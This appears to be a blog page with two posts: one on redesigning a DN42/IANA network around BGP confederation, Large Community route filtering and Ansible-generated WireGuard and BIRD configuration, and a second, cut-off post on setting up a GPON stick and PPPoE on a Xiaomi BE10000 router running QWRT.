DN42&OneManISP – Confederation, Automation, IPAM and Overlay Network
This article does not go into implementation details in depth; it only records the internal network architecture design process and automation ideas. If you need reference code or configuration files, please see iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369). The repository contains a significant amount of AI-generated code. This article only borrows the logical layering concept of Underlay/Overlay (base layer/business layer), specifically referring to the separation of address roles, and does not involve tunneling encapsulation technologies such as VXLAN/GRE. TL;DR The entire internal network architecture was refactored. What was originally a horizontally split network based on “DN42 / IANA / WireGuard / BIRD config files” was transformed into a set of infrastructure organised by network intent. The final design can be summarised as: Use WireGuard to carry underlay transport between nodes; Use BGP Confederation instead of OSPF / full-mesh iBGP as the internal routing backbone; Separate node identity and service addresses with Underlay / Overlay; Automatically derive AS, loopback and link-local addresses from Tier / Region / Node ID / Token; Use BGP Large Community to express route origin, propagation scope and export policy; Use Ansible to compile high-level peer intent into WireGuard + BIRD + interface configurations and deploy them automatically. Background In some earlier articles from these two series, we successfully brought up a DN42 AS and an IANA AS, with the same infrastructure carrying traffic for both networks simultaneously. In a previous post, DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment - iYoRoy's Develop Diary, there was already some initial separation and isolation for the two networks. However, as the number of nodes grew, manually maintaining the WireGuard and BIRD configuration files for this whole thing became more and more complex. Moreover, public network nodes also needed to interconnect and provide mutual IP transit, so in the end I decided to do a thorough refactoring of this entire internal network. Analysis Problems with the Old Architecture Before the refactoring, DN42 routes between nodes were mutually propagated, using OSPF over WireGuard as the IGP, with full-mesh iBGP on top to carry full routing information between border routers. For IANA traffic, nodes were completely isolated from each other, with each node independently advertising its own /48 IANA IPv6 prefix. To sum up: WireGuard was responsible for tunnels between nodes; OSPF over WireGuard was responsible for the IGP; DN42 border routers ran full-mesh iBGP on top; IANA nodes basically each independently advertised their own public prefixes. This architecture worked well when there were few nodes, but problems started to become apparent as the number of nodes increased: WireGuard, OSPF, and BIRD configurations had to be maintained separately; Adding a new node required changes in multiple places, making it easy to miss something; Routing policies for DN42 and IANA influenced each other, yet the configuration was scattered; Cross-PoP scheduling of IANA prefixes was not natural; Some nodes were only transit nodes but were forced to have an overlay identity; Source address selection, route leaks, and exposure of internal addresses became increasingly difficult to control. Design Goals and BGP Confederation The main goals for this refactoring were: Adding nodes should be simple: ideally, only the node identity and peer relationships need to be described; DN42, IANA and the internal backbone should be able to share infrastructure while remaining policy-isolated from each other; IP addresses should be schedulable resources, not fixed identities of nodes; The internal topology should not leak to external BGP peers; Configurations should be generated from declarative data, not by handwriting lots of repetitive WireGuard/BIRD sessions; The deployment process should be automated. There were also several other, more detailed requirements: Some IANA nodes should be able to carry IP transit for other nodes, using an IANA PoP to advertise public IPs for other nodes; Currently, the IANA AS is maintained jointly by たのしい and myself; we need to coordinate, with some infrastructure needing mutual transit and route tuning; We only have one 44Net IPv4 /24 (sponsored by たのしい); if we want to advertise it, all nodes would need iBGP interconnection and an IGP, otherwise only a single PoP can use it; The IANA AS needs to accept downstreams; Route optimization is needed between IANA PoPs. The previous IANA IPv6 prefix assignment rule followed Continent 3 bits + Region 3 bits + Multi-node within region 2 bits, carving several /48s out of a complete /40. However, due to certain upstream limitations on the number of advertised prefixes, and because such fragmented prefixes are unfavourable for IPAM, we planned to eventually aggregate external advertisements only to the continent level, and then handle more detailed parts via internal iBGP routing. The internal network structure on たのしい's side is BGP Confederation, implemented with a manually simulated approach. Actually, after this analysis, defining the internal network architecture became quite straightforward: the most suitable solution was to switch the internal network to BGP Confederation as well, and then utilise the concept of "BGP as IGP" to advertise /32 and /128 routes within the confederation to handle internal routing. At the same time, because a confederation avoids the split-horizon characteristic of traditional iBGP, it doesn't require strict full-mesh, nor does it need separate iBGP instances, making it very decentralized xD. Furthermore, BGP Confederation can be easily merged with たのしい's infrastructure, requiring only that both sides treat the other's internal ASes as confederation ASes. This solution has another benefit, because the containment relationship of our infrastructure is actually like this: graph subgraph 4242423377 Infrastructure 3377_DN42_PoP[DN42 PoP] 3377_IANA_PoP[IANA PoP] end subgraph 4242422024 Infrastructure 2024_DN42_PoP[DN42 PoP] 2024_IANA_PoP[IANA PoP] end 3377_IANA_PoP <==Cross-Infra Confederation==> 2024_IANA_PoP 3377_DN42_PoP <--> DN42 <--> 2024_DN42_PoP 3377_IANA_PoP <--> IANA <--> 2024_IANA_PoP Our DN42 PoPs and transit are isolated, but the IANA PoPs and transit are interconnected. In the BGP Confederation scenario, we can use filters + BGP (Large) Community to isolate route origins while still exchanging IANA traffic engineering intents, achieving a single standard usable across both infrastructures. Overlay and IPAM In the old design, a node often simultaneously held two identities: It was a router in the network; It was also a service address holder reachable within DN42 / IANA. After the refactoring, I decided to separate these two identities: Underlay: the node's identity as a router, used for internal interconnection, next-hop, tunnels, and forwarding; Overlay: the DN42 / IANA address used when the node provides services to the outside world or accepts traffic. This way, a node can only participate in forwarding without having a DN42 IPv4 address; it can also temporarily announce a certain overlay /32 or /128 when needed. In practical application scenarios, my DN42 address space is not very abundant; I originally registered a /28, with only 16 usable addresses. Some nodes, like IEPL tunnel nodes or IX nodes, only perform forwarding roles, do not need to host services, and do not need to be connected from the outside. Therefore, theoretically they do not need to be assigned independent, reachable DN42/IANA addresses. Moreover, since we had already decided to switch the internal network to BGP Confederation, based on this configuration we could re-plan the originally horizontally split DN42 + IANA network structure into a vertical Underlay + Overlay division. DN42 and IANA addresses/traffic become the payload of the upper-layer Overlay Network, while the lower-layer Underlay Network serves as the infrastructure for underlying communication and forwarding between nodes. In this scenario, IP addresses become resources that can be easily scheduled within the internal network, rather than unique IDs bound to a node. The advantages are clear: Saves scarce address resources: transit nodes can have only an underlay identity, without needing DN42 IPv4 or public addresses; Anycast and address migration: Overlay addresses become resources schedulable via BGP, no longer tightly bound to a specific machine; Hides transit nodes: pure transit nodes do not need to expose globally reachable addresses, making it harder for outsiders to directly probe the internal topology; Easy new node onboarding: new nodes join the underlay first, and overlay addresses are assigned when they need to carry services; Elegant transit delivery: IANA PoPs can deliver customer prefixes or service addresses to other nodes via the internal confederation. Design In summary, the final design consisted of the following IPAM mechanism and automation workflow. Each node possesses some basic metadata: Tier: indicates the node's purpose, e.g., backbone, IX access, or intra-net node Region: the continent region where the node is located ID: the node's ID within that region Token: a random 16-bit string assigned to the node, used as a unique ID for the node under IPv6 For Tier and Region, several tables were created as data sources: Tier Desc 1 Backbone 2 IX 3 Backbone + IX Mixed 9 Node Region Desc 0 Reserved 1 Asia 2 Europe 3 Africa 4 North America 5 South America 6 Oceania 7 Antarctica Confederation AS: 4220240000 – 4220249999 Assignment rule: 422024{tier}{region}{node_id:02d} Where tier indicates the node's purpose, region indicates the area where the node is located, and the last two digits node_id distinguish different nodes within the same region. Underlay IPAM IPv4 Prefix: 100.64.0.0/16 Assignment rule: 100.64.{tier*10 + region}.{node_id}/32 IPv6 Prefix: fd18:3e15:61d0:ffff::/64 Assignment rule: fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128 To simplify the automation workflow, I also intended to bring the link-local addresses between WireGuard tunnels under automated management, generating them using the aforementioned Tier, Region, and Token, with the automation scripts generating WireGuard configuration and automatically setting up the tunnel and confederation BGP session. The link-local assignment rule generally follows the normal IPv6 rule: fe80::2024:{tier}:{region}:{node_token}/64 Thus, each node only needs to be assigned its metadata to automatically generate the internal network confederation AS and addresses according to the rules above. Overlay IPAM The DN42 IPv4 part is assigned manually. This part has some historical legacy architecture, and changes need to be merged into the official registry, so I plan to assign it manually. The Underlay IPv6 is itself DN42-reachable; if other DN42 IPv6 addresses need to be allocated, they can simply be advertised on demand. For IANA IPv6, the current design format is to first calculate the continent /43 according to the initially proposed rule, e.g., for Asia: 2a14:7583:f220::/43 Then calculate the /46 based on the region, e.g., for Hong Kong region HKG: 2a14:7583:f224::/46 Next, bits from /46 to /112 are set to zero, and the last 16 bits are filled with the node Token to serve as the node's IANA IPv6 address. For example, one of my backbone nodes in Hong Kong: 2a14:7583:f224::7d89/128 Community Isolation Mechanism In this architecture, BGP Large Community effectively acts as the metadata and control information carried along with a route as it propagates between different modules and infrastructures. Based on this metadata, when we export routes to different external peers we can determine: Does it belong to DN42 or IANA? Is it locally originated, brought in by a downstream, learned from a peer, or learned from an upstream? Can it be exported to other ASes? Is it underlay-only? Does this route need AS prepending? As a concrete example, if the first identifier marks the route origin/destination as DN42 or IANA, all routes permitted to be sent to DN42 will be tagged with: (4242422024, 1, 1) Similarly, all routes destined for IANA will be tagged with: (205369, 1, 1) Within various protocols, this acts as a master switch, controlling whether export should occur. IANA upstream export filter: template bgp iana_upstream_v6 { ... ipv6 { ... import filter { if !iana_filter_default_check() then reject; # basic check remove_confederation_as(); # remove confederation as to prevent external peers from maliciously carrying internal as remove_private_community(); # remove private community to prevent external peers from maliciously manipulating internal routes iana_upstream_add_community(); # tag all routes from IANA with community permitting broadcast in IANA infrastructure accept; }; export filter { if !iana_filter_default_check() then reject; # basic check if !iana_upstream_check_community() then reject; # check community: is this a route destined for IANA / does it carry no-advertise/no-export etc. remove_confederation_as(); # remove confederation as remove_private_community(); # remove private community accept; }; ... }; ... } Where iana_filter_default_check() is used to check prefix length, ROA, whether it is a default route, and other miscellaneous content: function iana_filter_default_check(){ if net ~ [::/0] then return false; if net.len > 48 then return false; if bgp_large_community ~ [(IANA_OWNAS,1,1)] && is_self_iana_v6() then return true; if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false; return true; } remove_confederation_as(), as the name suggests, removes internal confederation ASes: function remove_confederation_as() { bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure } remove_private_community(), as the name suggests, removes internal Communities. The current implementation is very rough and needs detailed refinement later, because some Communities should be open to downstreams, allowing them to use Communities to convey routing intents and perform optimizations, such as prepending AS path, which can be used for route tuning or traffic engineering: function remove_private_community(){ bgp_large_community.delete([(4242422024, *, *)]); bgp_large_community.delete([(205369, *, *)]); } iana_upstream_add_community(), tags all routes from upstream with the Community allowing circulation in the IANA infrastructure, as well as a route source identifier: function iana_upstream_add_community(){ bgp_large_community.add((205369,1,1)); bgp_large_community.add((205369,2,102)); } Where (205369,2,102) identifies the route as coming from an upstream. Route sources are divided into three types: Upstream, Peer, Downstream/Customer/Self (treated as customer). For these three different types of BGP sessions, the exported routes usually differ: To upstream: we need the upstream to advertise our own prefixes and our downstreams' prefixes, so all routes originating from downstream should be exported to upstream. To downstream: we need to provide network services, so we need to export all routes we know, i.e., routes from upstream, peer, downstream. To peer: peering connections are solely for both parties to access each other's networks, so we must not export each other's upstreams or peers, otherwise it becomes free transit/tunneling. Therefore, only routes from downstream are exported. Correspondingly in the current internal network, routes from peers are tagged (205369,2,101), and routes from downstreams are tagged (205369,2,100). iana_upstream_check_community() checks the route's Community, and based on the principles above, judges whether it should be advertised to upstream: function iana_upstream_check_community(){ if !(bgp_large_community ~ [(205369,1,1)]) then return false; # not permitted for broadcast in IANA infrastructure, reject if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export if bgp_community ~ [(65535,65281)] then reject; # no-advertise if bgp_community ~ [(65535,65282)] then reject; # no-export if bgp_large_community ~ [(205369,2,0)] then return false; # from internal network, this community is used to identify routes from the internal network that should not be advertised externally, reject here if bgp_large_community ~ [(205369,2,101)] then return false; # from peer, reject advertisement if bgp_large_community ~ [(205369,2,102)] then return false; # from upstream, reject advertisement return true; } Similarly, a similar check mechanism applies to DN42. Based on this mechanism, isolating the DN42 and IANA networks becomes very straightforward. The above is just a general explanation; finer community design and various export policies could be further elaborated, but that would turn into another article on routing policy details. This part actually draws heavily from たのしい’s BGP Communities; after all, both infrastructures need to interoperate, and many community specifications are basically copied. Thanks to たのしい for providing the ideas~ Route Lifecycle Phase 1: Ingress / Import When all external routes enter the system, they first pass through the import filter of the corresponding domain. IANA has three types of sources: upstream; peer / IX; downstream. DN42 also has two main types of sources: regular transit / eBGP peer; IX / route server. In addition, the local machine also originates some routes: underlay loopback; DN42 overlay address; IANA own / anycast address. These routes are tagged with Large Communities upon entering the confederation. All subsequent filters must be adjusted based on this. Phase 2: Core / Intra Confederation After entering the BIRD RIB, routes propagate between nodes via the internal Intra BGP Confederation. Here, Intra Confederation is not just about handling connectivity, but more importantly, allowing internal routes to carry policy information as well. The previous OSPF was great at solving: Where is this loopback? How to reach this next-hop? But it could not convey AS information and policy intents, for example: This route was learned from an IANA peer and must not be exported to another peer; This route is DN42 underlay-only and must never be leaked to eBGP; This route is a downstream customer prefix and can be exported to upstream. All of these are strengths of BGP policy. So moving the internal backbone from OSPF / full-mesh iBGP to confederation-style BGP is essentially upgrading the internal control plane to a "policy-carryable control plane". Phase 3: Egress / Export When a route is about to leave the infrastructure, it passes through the export filter again. Here, based on communities, systemic prevention of route leaks and macro-control like AS prepending can be performed. For example: DN42 underlay routes carry an underlay-only community and thus are not exported to DN42 eBGP; Routes learned from an IANA upstream are not exported to another upstream; Routes learned from an IANA peer are not exported to another peer; Routes learned from a DN42 IX are not exported back to IX; NO_EXPORT / NO_ADVERTISE are respected; Before external export, internal confederation ASes and private communities are removed. In summary, it can be illustrated by this diagram: flowchart LR classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px; classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px; classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px; classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px; classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px; subgraph SRC["Route Source"] direction TB IU["IANA upstream transit / full routes"] IP["IANA peer / IX"] ID["IANA downstream customer prefixes"] DT["DN42 transit / eBGP peer"] DX["DN42 IX / route server"] LU["Local underlay loopback 100.64.x.y / fd18:...:ffff"] LO["Local overlay address DN42 own / IANA own / anycast"] end subgraph INFRA["Bird2-Configuration Infrastructure"] direction LR subgraph IMPORT["Ingress / Import filters"] direction TB IUF["IANA upstream import tag: 205369:1:1 tag: 205369:2:102"] IPF["IANA peer import tag: 205369:1:1 tag: 205369:2:101"] IDF["IANA downstream import AS-SET / path check tag: 205369:2:100"] DTF["DN42 eBGP import prefix / ROA / self check tag: 4242422024:2:101/102"] DXF["DN42 IX import prefix / ROA check tag: 4242422024:2:101"] STF["Static origin underlay / overlay route tags"] end META["Large Community metadata layer domain + source + scope internal route API"] subgraph CORE["Internal control plane"] direction TB RIB["BIRD RIB"] CONFED["Intra BGP Confederation member AS: 422024xxxx policy: full / default / iana_full / no_iana"] WG["WireGuard underlay transport link-local next-hop fwmark policy routing"] UNDERLAY["net_underlay loopback + table 1142"] OVERLAY["net_overlay DN42 / IANA service addresses"] end subgraph EGRESS["Egress / Export filters"] direction TB DEXP["DN42 eBGP export reject underlay-only respect no-export/no-advertise"] DXEXP["DN42 IX export reject peer/transit learned routes"] IEXP["IANA upstream / peer export export local/downstream only reject peer/upstream learned"] DOWNEXP["IANA downstream export policy: default / own_only / reject"] KEXP["Kernel export krt_prefsrc by community"] CLEAN["cleanup before external export remove confed AS remove private communities"] end end subgraph DST["Route Destination"] direction TB OD["DN42 peers / transit"] OX["DN42 IX"] OI["IANA upstream / peer"] OC["IANA downstream"] KF["Linux kernel FIB actual packet forwarding"] end IU --> IUF IP --> IPF ID --> IDF DT --> DTF DX --> DXF LU --> STF LO --> STF IUF --> META IPF --> META IDF --> META DTF --> META DXF --> META STF --> META META --> RIB RIB <--> CONFED CONFED --- WG WG --- UNDERLAY RIB --- OVERLAY RIB --> DEXP RIB --> DXEXP RIB --> IEXP RIB --> DOWNEXP RIB --> KEXP DEXP --> CLEAN --> OD DXEXP --> CLEAN --> OX IEXP --> CLEAN --> OI DOWNEXP --> CLEAN --> OC KEXP --> KF class IU,IP,ID,DT,DX ext; class LU,LO local; class IUF,IPF,IDF,DTF,DXF,STF filter; class META,RIB,CONFED,WG,UNDERLAY,OVERLAY core; class DEXP,DXEXP,IEXP,DOWNEXP,KEXP,CLEAN export; class OD,OX,OI,OC,KF ext; Automation: Compiling Network Intent into Configuration All the above discussion on IPAM, Confederation AS, Underlay/Overlay, and BGP Communities would not truly solve the problem if it still ended up being maintained by hand-written configurations; it would just move the complexity from one form to another. Before this refactoring, adding a new node or peer often required simultaneous changes in many places: WireGuard configuration: interface name, listen port, peer public key, endpoint, allowed IPs BIRD configuration: BGP protocol name, neighbor address, neighbor interface, ASN, import/export filter IPAM-related configuration: loopback, link-local, router id, overlay address Deployment-related configuration: which nodes need rendering, which services need restarting Some special cases: nodes behind NAT, passive peers, special local AS, special filters Logically, these things describe the same thing: a connection belonging to a certain routing domain exists between two nodes. But in manual configuration, they end up scattered across WireGuard, BIRD, network interfaces, systemd/openrc, and other places. If just one field is missed or inconsistent, very strange problems can occur, such as WireGuard being up but BIRD neighbor pointing to the wrong interface; or the link-local being changed, but the peer session still having the old address. So in this refactoring, I didn't want Ansible to just be a tool that "fills YAML into Jinja2 templates". If we simply moved the original hand-written config into templates, we would essentially still be maintaining a pile of low-level configurations, just in a different file format. Since automation was introduced, the input should not be "I want to generate a configuration file that looks like this", but rather: Who is this node? Which tier / region does it belong to? Who does it interconnect with? Does this connection belong to DN42, IANA or Intra? What import/export policy should this connection use? Does it have special constraints like NAT, passive, endpoint override? As for the specific WireGuard interface wording, how the BIRD session is written, what the link-local address is – all these should, as much as possible, be generated by the automation system based on rules. Source of Truth: Node State, Not Config Files The input for this automation is mainly placed in Ansible's host_vars. The variables for each node are no longer just parameters needed for template rendering, but the description of the node's identity in the network. For example, a node will have at least: tier: node tier, e.g., backbone, IX, normal node region: region where the node is located node_id: node number within the same region node_token: a stable 16-bit token used to generate the IPv6 address suffix These fields are used for IPAM address management and identification information within the Confederation (as mentioned earlier, AS calculation and IP address derivation). The advantage of this approach is that when a new node joins, we just need to configure its basic metadata, and all its fundamental identities within the underlay are already determined. This significantly reduces subsequent maintenance effort. If link-local addresses were handwritten in every BIRD session, then any change to a node's token or address rule would require changes on all peers; but if the BIRD neighbor address is automatically derived from the peer node's metadata, it always stays consistent with the source of truth. Domain Intent: Declarative Peer Configuration The most important abstraction in this automation is Domain Intent, which treats the Session and its corresponding WireGuard tunnel binding as a single entity, then partitions them by the network type (DN42/IANA/Intra). Taking an Intra peer as an example, an internal connection fundamentally requires two types of configuration simultaneously: WireGuard interface, to provide the transport tunnel BIRD BGP session, to exchange routes over this tunnel If maintained manually, these two parts easily duplicate the same information: interface name peer node listen port endpoint neighbor interface BGP protocol name import/export policy So we abstract a regular Intra peer into a single peer intent. Simplified, it looks something like this: - node: tyo03-jp interface: intra_tyo03 wireguard: listen_port: 10234 passive: true bgp: protocol: intra_ibgp_tyo03 ipv4: import_policy: full export_policy: full ipv6: import_policy: full export_policy: full This declaration does not directly correspond to a single configuration file, but describes the peer intent: There is an internal connection named intra_tyo03 between the current node and tyo03-jp. This connection uses WireGuard for transport, and establishes an Intra BGP session over it, with BGP policy using full. Afterwards, Ansible automatically renders the corresponding WireGuard and BIRD configuration based on this. Thus, a peer relationship only needs to be described once, and the subsequent low-level configuration is generated automatically. For example, the BIRD neighbor's link-local address does not need to be handwritten; it can be automatically obtained from the peer node's tier / region / node_token. The WireGuard endpoint can also be automatically derived from the peer's ansible_host in the inventory and the peer's return peer listen_port. The biggest advantage of this is avoiding state inconsistency between multiple configuration layers. Automatic Endpoint Derivation and Passive Peers In my internal network architecture, not all nodes have perfectly symmetric public reachability. For example, some nodes / DN42 peers are behind NAT and can only initiate connections; some tunnels require a fixed endpoint as the listener, with the other end initiating. Therefore, the peer intent must support special cases like passive listening. If a peer is not passive, the automation can attempt to read ansible_host from the peer's inventory, combine it with the listen_port declared by the peer, and automatically generate the WireGuard endpoint: endpoint = peer_ansible_host + ":" + peer_return_listen_port If the peer is marked as passive, no endpoint is rendered, allowing the peer to actively initiate the connection. Essentially, the endpoint is determined by "how the peer is accessed" and "which port the peer listens on". These two pieces of information already exist in the inventory and peer intent, so there's no need to duplicate them. Of course, for extremely unusual links, the most basic manual override for the endpoint is retained. The goal of automation is not to eliminate all edge cases, but to make the normal cases require no special handling. Generic Scenarios & Exceptions This is essentially a fallback mechanism for special cases: Legacy tunnels Special internal peers carried over DN42 Nodes behind NAT Temporary workarounds Peers requiring strange BGP parameters Certain sessions needing special local AS Some routes only intended for the IANA domain, not the DN42 domain The final design kept: most regular Intra peers can generate WireGuard + BIRD via domain intent. DN42 peer WireGuard can also be generated from DN42 peer intents. However, some special BIRD sessions, such as those requiring separate local_as or special export policies, can still be explicitly declared using low-level configuration. Before final rendering, Ansible merges the generated configuration and legacy/manual overrides into the final configuration. The benefit is that automation covers 90% of the repetitive and error-prone parts, while still leaving room for the remaining 10% of special cases. Configuration Rendering The entire rendering process can be roughly understood as: flowchart TD A[host_vars: node metadata + domain intent] --> B[materialize domain intent] B --> C[effective_wireguard_interfaces] B --> D[effective_intra_ibgp_sessions] C --> E[render wg-quick configs] D --> F[render BIRD intra sessions] A --> G[render BIRD root / DN42 / IANA modules] A --> H[render underlay / overlay interfaces] E --> I[.rendered-wireguard] F --> J[.rendered] G --> J H --> K[.rendered-network] There are three types of final artifacts: .rendered/: BIRD configuration .rendered-wireguard/: WireGuard configuration .rendered-network/: underlay / overlay dummy interface configuration The BIRD configuration is further divided into several modules, written via Jinja2 templates; the actual overlay network separation is also handled here: root config: global defines, includes, kernel protocol DN42 module: DN42 filters, RPKI, eBGP peers, IX peers IANA module: upstream, downstream, peers, RPKI, static routes Intra module: confederation-style BGP sessions, static routes, internal filters Whether these modules are included is also decided automatically based on data as much as possible. For instance, if a node has no DN42 peers, there's no need to render and include ebgp.conf; no IX sessions, no need to include ix.conf. This reduces empty configurations and meaningless includes, and avoids some nodes failing template rendering due to missing related variables. Validation & Deployment The final deployment process also added some check and validation stages: render BIRD validate BIRD render WireGuard validate WireGuard deploy dummy interfaces deploy WireGuard deploy BIRD BIRD configuration is rendered and validated locally first to catch syntax errors as early as possible. WireGuard configuration is also rendered and validated first to avoid missing keys or generating obviously invalid wg-quick configs. Finally, after all validations pass, the underlying interfaces + WireGuard are deployed, and only then is BIRD uploaded and reloaded. Conclusion I'm exhausted; this article has drained me. Why is narrating this architecture in linear language so difficult? After sorting things out, most of the code was basically written by AI, and the results were decent. If you need a reference, see bird2-config/ansible at dev · iYoRoy-Network/bird2-config. The applicable scenarios for this solution are actually quite narrow; the DN42 + IANA BGP Player scene is really too niche xD. Moreover, a major reason this solution can function properly is that the IANA prefixes and DN42, along with the address ranges chosen for my own internal network, do not conflict at all. If there were address conflicts in the transit segments, one would probably still need to consider proper ISP isolation solutions like VRF/MPLS L3VPN. References: Configure BGP Confederation & Fake Confederation in Bird (Updated 2020-06-07) - Lan Tian @ Blog 浅谈 BGP 中的 Transit（中转）与 Peering（对等互联） | 网络蝙蝠侠部落
Home Network Upgrade – GPON Stick + 802.11k/v/r Roaming
The beginning of the article explains the process of configuring a GPON stick and BE10000 PPPoE. If you only need to look up 802.11k/v/r related content, you can jump directly to the "Configuring 802.11 k/v/r" section. The reason this all started was that during the May Day holiday I picked up a Xiaomi BE10000 locally in Harbin. I wanted to try using a GPON stick to see if I could push my home gigabit connection past 1 Gbps (cc: 浙江移动烽火光猫获取超密 + G-010S-A 猫棒上网 – 米露小窝). Moreover, since I use mesh-style tools like EasyTier and need features like Wake-on-LAN, and my existing Xiaomi AX3600 at home is already flashed with ImmortalWRT, I was hoping to also flash a WRT-based system. Then perhaps I could use 802.11 k/v/r for automatic switching, achieving a sort of manual mesh effect. After searching around, it seemed only the BE10000 met my requirements: it has an SFP+ cage and can be flashed with QWRT. I brought it home over the summer vacation — time to tinker with it() And while I was at school I even fixed the only minor imperfection: the NFC tap-to-connect feature (ref: Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router - iYoRoy's Develop Diary). This machine is now truly complete (nod) Terminology 1. Broadband & Optical Communication (Fiber & PON) Abbreviation Full Name Description / Notes FTTH Fiber To The Home Fiber to the home. PON Passive Optical Network Passive optical network. Mainstream technology for home broadband access. GPON Gigabit-Capable PON Gigabit-capable passive optical network. Our GPON stick is based on this standard. OLT Optical Line Terminal Optical line terminal. The carrier's central office equipment, responsible for distributing optical signals downstream. ONU Optical Network Unit Optical network unit. Customer premises equipment such as an ONT or GPON stick. UPC Ultra Physical Contact Ultra physical contact. A common fiber connector type (usually blue end face). APC Angled Physical Contact Angled physical contact. A common fiber connector type (usually green end face, with an 8-degree angle). LOID Logical ONU ID Logical ONU identifier. A string used by the carrier to authenticate the ONU. PLOAM Physical Layer OAM Physical Layer Operations, Administration and Maintenance. Also a password system used for ONU authentication. SN Serial Number Serial number. The unique factory number of the hardware device, often used for ONU registration. 2. Wi-Fi & Roaming Abbreviation Full Name Description / Notes AP Access Point Access point. The role of the main router or satellite router emitting Wi‑Fi signals. SSID Service Set Identifier Service set identifier. The Wi‑Fi name seen by users. BSS Basic Service Set Basic service set. The set consisting of a single AP and the devices connected within its coverage. BSSID Basic Service Set Identifier Basic service set identifier. Usually the MAC address of the AP's wireless interface. ESS Extended Service Set Extended service set. A unified network of multiple BSSs (same SSID), i.e., the roaming environment. RRM Radio Resource Management Radio Resource Management (802.11k). Used to obtain neighbor reports of surrounding APs. WNM Wireless Network Management Wireless Network Management (802.11v). Allows the AP to send roaming guidance suggestions to clients. FT Fast Transition Fast Transition (802.11r). Reduces the handshake and authentication time when a client switches APs. DS Distribution System Distribution system. The wired network backbone; ft_over_ds means exchanging roaming information via the wired backbone. NAS ID Network Access Server ID Network access server identifier. Used to uniquely identify a BSS node within a roaming domain. SAE Simultaneous Authentication of Equals Simultaneous Authentication of Equals. WPA3 key exchange protocol, more secure than WPA2. PSK Pre-Shared Key Pre-shared key. The most common password-based authentication method in home Wi‑Fi. 3. Network Protocols & System Settings Abbreviation Full Name Description / Notes PPPoE Point-to-Point Protocol over Ethernet Point-to-Point Protocol over Ethernet. The broadband dial-up protocol we commonly use. VLAN / PVID Virtual Local Area Network / Port VLAN ID Virtual LAN / Port VLAN ID. Used to isolate network traffic; required for ONU dial-up. SFP+ Enhanced Small Form-factor Pluggable Enhanced small form-factor pluggable. Supports transmission rates up to 10 Gbps. UCI Unified Configuration Interface Unified Configuration Interface. The underlying command-line configuration system of OpenWrt/QWRT. LuCI Lua Configuration Interface Lua Configuration Interface. The web-based graphical configuration interface of OpenWrt/QWRT. DHCP Dynamic Host Configuration Protocol Dynamic Host Configuration Protocol. Used to automatically assign IP addresses to devices on the local network. L2 Layer 2 Layer 2. In the article, "L2 segment" refers to a local network within the same broadcast domain. Materials Xiaomi BE10000 Router Xiaomi AX3600 Router G-010S-A NOKIA GPON Stick Heatsink SC/APC to SC/UPC fiber patch cable SC/UPC fiber optic adapter Flashing resources (you'll need to find these yourself; redistributing others' materials isn't great. You can refer to the firmware linked in the flashing tutorial below.) Regarding that SC/APC to SC/UPC fiber cable — these terms describe the fiber connector specifications. Normal home FTTH typically uses UPC, which has a blue connector, whereas the GPON sticks we buy generally use an APC connector, which is green. The main difference lies in the shape of the ferrule end face: UPC has a slightly convex end face, while APC has an angled end face. If the OLT downstream optical power is strong enough, you could directly connect a UPC connector to the GPON stick and it might still work, but you'll suffer about 3 dB of additional optical loss. Therefore, I decided to play it safe. Image source: Fiber Connector PC, UPC, APC Main Differences - Zhihu GPON sticks are notorious for running hot, so remember to attach a heatsink: After attaching it, the temperature I saw in the ONU's management interface was around 60 ℃. Flashing the BE10000 I won't go into detail here. Just follow 【小米万兆路由器刷OpenWrt】小米BE10000|SSH解锁固化|UBoot|iStore商店|多拨|-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!. The firmware has some known bugs, such as Wi‑Fi settings made through the frontend interface not being written correctly, which can prevent the entire networking subsystem from starting, leading to loss of connectivity and eventually triggering an automatic fallback. Therefore, some of the modifications to the main router described below are implemented using UCI commands. Obtaining the Carrier ONU Configuration There's no universal guide for this step... Go to Xianyu or Taobao and purchase a super admin password. Record the LOID, SN, LOID CheckCode (Password), PLOAM Password, and the VLAN ID from the Internet configuration section. In some regions you may also need to record the upstream MAC address. LOID and LOID CheckCode: PLOAM Password: VLAN ID: Generally speaking, carriers either use LOID, possibly together with a LOID CheckCode (Password), or they might use the PLOAM Password. Determine which applies based on your own situation. In my case, with China Unicom Anhui, I only needed to record the SN, VLAN ID, and LOID for it to work. (Because my Unicom ONU wouldn't let me log in, I used a China Mobile ONU for the screenshots xD) Sometimes you don't even need the super admin password to get this information; certain ONUs (e.g., China Unicom Heilongjiang, Skyworth ONUs) provide these details even with a regular user account. At the same time, record the PPPoE username and password: Typically, the username is public. On some ONUs you can use the F12 trick to remove the password attribute and reveal the actual password, but some ONUs will only send back meaningless placeholder characters. In that case you can call the carrier to reset the password. Configuring the GPON Stick Insert the GPON Stick into the SFP+ port. If the Ethernet port LED does not light up, try going to QWRT -> Network -> ECM Hardware Acceleration Settings and forcing the SFP1 and SFP2 interface speeds to Force 2.5Gbps. (I wasn't sure which one corresponds to the current SFP slot, so I changed both.) Then Save & Apply, and you may need to reboot the router. The default br-lan IP prefix should be 192.168.1.0/24. Keep it unchanged and access 192.168.1.10 to open the GPON stick's management console: Go to GPON ONU Settings and fill in the information we just recorded: LOID and SN And enable VLAN configuration: Check Interoperability Compatibility Mode, and fill in the VLAN ID under PVID. After saving you may need to reboot the GPON stick. Then go to the Status page. If you see the PON Authentication Status / PON Signal Status as O5, it means the GPON stick has completed registration and is working normally. Setting up PPPoE Dial-up On the BE10000, the default WAN port is eth4, while the SFP port is eth5. Therefore, you need to switch the WAN interface from eth4 to eth5. Go to Network -> Interfaces -> Devices, find br-lan and add eth4 to it, then remove eth5. Next, go to the Interfaces page, change the WAN network adapter to eth5, and enter the PPPoE username and password you recorded earlier: After 